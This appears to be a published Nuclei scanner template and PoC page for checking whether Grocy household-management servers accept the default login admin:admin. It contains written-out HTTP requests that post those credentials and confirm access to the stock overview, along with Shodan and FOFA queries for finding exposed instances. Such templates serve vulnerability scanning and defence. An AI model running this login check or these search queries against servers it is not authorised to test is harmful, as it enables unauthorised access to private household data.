grocy-default-login: Grocy - Default Admin Credentials

2026-04-09 Grocy PoC Public

Description

Detected Grocy was found using default credentials admin:admin.Successful authentication grants full access to the household management platform including all stock data, chores, recipes, and user settings.

PoC

id: grocy-default-login

info:
  name: Grocy - Default Admin Credentials
  author: 0x_Akoko
  severity: high
  description: |
   Detected Grocy was found using default credentials admin:admin.Successful authentication grants full access to the household management platform including all stock data, chores, recipes, and user settings.
  reference:
    - https://github.com/grocy/grocy
    - https://docs.linuxserver.io/images/docker-grocy/
  metadata:
    verified: true
    max-request: 3
    vendor: grocy
    product: grocy
    shodan-query: 'http.title:"grocy"'
    fofa-query: 'title="grocy" || body="grocy-version"'
  tags: default-login,grocy,auth

variables:
  username: "admin"
  password: "admin"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains_all(to_lower(body), "grocy", "username", "password")'
        condition: and

  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept: text/html

        username={{username}}&password={{password}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 302'
          - '!contains(to_lower(header), "/login")'
        condition: and

  - raw:
      - |
        GET /stockoverview HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(to_lower(body), "stock overview", "grocy")'
        condition: and
# digest: 4b0a00483046022100ec135fc82b2b83a18fedcedb0fcb250900fc26b843ca1f4e8f3b333b3294828e022100891cf2ecd4e7496c891919116fa94f622f23be7420b1d7cdd4b9b7e8dbe79004:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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